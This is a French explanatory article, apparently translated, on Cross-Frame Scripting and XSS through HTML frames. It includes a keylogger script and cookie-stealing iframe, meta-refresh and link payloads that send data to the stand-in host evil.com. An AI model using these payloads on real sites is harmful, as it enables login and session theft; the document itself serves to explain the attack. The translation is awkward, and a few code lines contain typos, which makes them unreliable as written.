Cross-Frame Scripting (XFS) est une attaque côté client rattachée au Cross-site Scripting (XSS). Dans une attaque XFS, l'attaquant exploite un bug spécifique cross-frame-scripting dans un navigateur web pour accéder aux données privées sur un site Internet tierce. L'attaquant incite l'utilisateur du navigateur à aller sur une page Web que l'attaquant contrôle ; la page de l'attaquant charge une page tierce dans une frame HTML ; et ensuite javascript s'exécutant dans la page de l'attaquant il y a vol des données de la page de tierce.
XFS est aussi quelquefois utilisé pour décrire une attaque XSS qui utilise une frame HTML dans l'attaque. Par exemple, un attaquant pourrait exploiter une Cross Site Scripting Flaw pour injecter une frame dans une page Web tierce ; ou un attaquant pourrait créer une page qui utilise une frame pour charger une page tierce avec un défaut XSS.
Le modèle standard de sécurité de navigateur autorise à javascript depuis une page Web à accéder au contenu d'autres pages qui ont été chargées dans différentes fenêtres ou frames de navigateur - depuis aussi longtemps que ces autres pages ont été chargées d'un serveur ou domaine de même-origine. Il ne permet pas l'accès aux pages qui ont été chargées depuis différents serveurs ou domaines (voir l'article MSDN About Cross-Frame Scripting and Security). Pourtant, les bugs spécifiques dans ce modèle de sécurité existent dans les navigateurs spécifiques, en permettant à un attaquant d'accéder à quelques données dans les pages chargées de différents serveurs ou domaines. Le plus célèbre de ces bugs affecte IE, qui divulgue les frappas sur le clavier à travers des framesets HTML (voir iDefense Labs advisory Microsoft Internet Explorer Cross Frame Scripting Restriction Bypass).Ce bug pourrait permettre, par exemple, à un attaquant de voler l'identité d'ouverture de session d'un utilisateur de navigateur quand il/elle essaie de les taper dans un formulaire d'ouverture de session d'une page Web tierce.
Pour exploiter le bug IE qui divulgue des frappes de clavier à travers des framesets, un attaquant peut créer une page Web à evil.com, que l'attaquant contrôle, et inclure sur la page evil.com une frame visible affichant la page d'ouverture de session pour example.com. L'attaquant peut cacher les bordures de la frame et étendre la frame pour couvrir la page entière, alors il surveille l'utilisateur du navigateur qui visite actuellement example.com. L'attaquant enregistre des javascripts dans la page principale d' evil.com qui écoute toutes les frappes de clavier de la page. Normalement, cette écoute serait informée des frappes provenant seulement de la page principale evil.com - mais à cause du bug du navigateur, cette écoute est informée aussi des frappes provenant de la page de frame example.com. Ainsi chaque frappe de touche faite par l'utilisateur du navigateur dans la frame example.com, en essayant de se connecter à example.com, peut être capturée par l'attaquant et retournée à evil.com :
<!-- http://evil.com/example.com-login.html -->
<head>
<script>
// array of user keystrokes
var keystrokes = [];
// event listener which captures user keystrokes
document.onkeypress = function() {
keystrokes.push(window.event.keyCode);
}
// function which reports keytrokes back to evil.com every second
setInterval(function() {
if (keystrokes.length) {
var xhr = newXHR();
xhr.open("POST", "http://evil.com/k");
xhr.send(keystrokes.join("+"));
}
keystrokes = [];
}, 1000);
// function which creates an ajax request object
function newXHR() {
if (window.XMLHttpRequest)
return new XMLHttpRequest();
return new ActiveXObject("MSXML2.XMLHTTP.3.0");
}
</script>
</head>
<!-- re-focusing to this frameset tricks browser into leaking events -->
<frameset onload="this.focus()" onblur="this.focus()">
<!-- frame which embeds example.com login page -->
<frame src="http://example.com/login.html">
</frameset>
Pour exploiter une Cross Site Scripting Flaw sur une page Web tierce comme example.com, l'attaquant pourrait créer une page Web comme evil.com, que l'attaquant contrôle et inclure un iframe caché dans la page evil.com. L'iframe charge la page défectueuse example.com et y injecte des scripts par le biais du défaut XSS. Dans cet exemple, la page example.com insère la valeur du paramètre de requête “q” depuis l'URL de la page dans le contenu de la page sans échapper à la valeur. Cela permet à l'attaquant d'injecter du javascript dans la page example.com qui vole le cookie example.com de l'utilisateur du navigateur, et envoie le cookie via une requête d'image fausse à evil.com (le src de l'URL de l'iframe est encapsulé pour la lisibilité) :
<iframe style="position:absolute;top:-9999px" src="http://example.com/
flawed-page.html?q=<script>document.write('<img src=\"http://evil.com/
?c='+encodeURIComponent(document.cookie)+'\">')</script>"></iframe>
L'iframe est caché hors écran, donc l'utilisateur du navigateur n'aura aucune idée qu'il/elle a juste “visité” la page example.com. Pourtant, cette attaque est effectivement la même qu'une attaque conventionnelle XSS, comme l'attaquant pourrait avoir simplement redirigé l'utilisateur directement à la page example.com, en utilisant une variété de méthodes, incluant un élément meta comme cela (de nouveau, l'élément meta de l'URL est encapsulé pour la lisibilité) :
<meta http-eqiv="refresh" content="1;url=http://example.com/
flawed-page.html?q=<script>document.write('<img src=\"http://evil.com/
?c='+encodeURIComponent(document.cookie)+'\">')</script>">
La seule différence est qu'en utilisant un iframe, l'attaquant peut cacher la frame hors écran - donc l'utilisateur du navigateur n'aura aucune idée qu'il/elle a juste “visité” example.com. En utilisant une redirection pour naviguer directement vers example.com, le navigateur affichera l'url de example.com dans la barre d'adresse du navigateur, et la page example.com dans la fenêtre du navigateur, donc l'utilisateur du navigateur croira qu'il/elle visite example.com.
Pour exploiter une Cross Site Scripting Flaw acomme ci-dessus à example.com (qui insère la valeur du paramètre de requête “q” depuis l'URL de la page dans le contenu de la page sans échapper à la valeur) l'attaquant pourrait créer une page Web comme evil.com, que l'attaquant contrôle, qui inclut un lien comme le suivant, et inciter l'utilisateur à cliquer sur le lien.
http://example.com/flawed-page.html?=<iframe src="
javascript:document.body.innerHTML=+'<img src=\"http://evil.com/
?c='+encodeURIComponent(document.cookie)+'\">'"></iframe>
De nouveau, cette attaque est effectivement la même qu'une attaque conventionnelle XSS ; l'attaquant utilise simplement l'attribut src de l'élément injecté de l'iframe comme un véhicule pour envoyer du code javascript dans la page attaquée.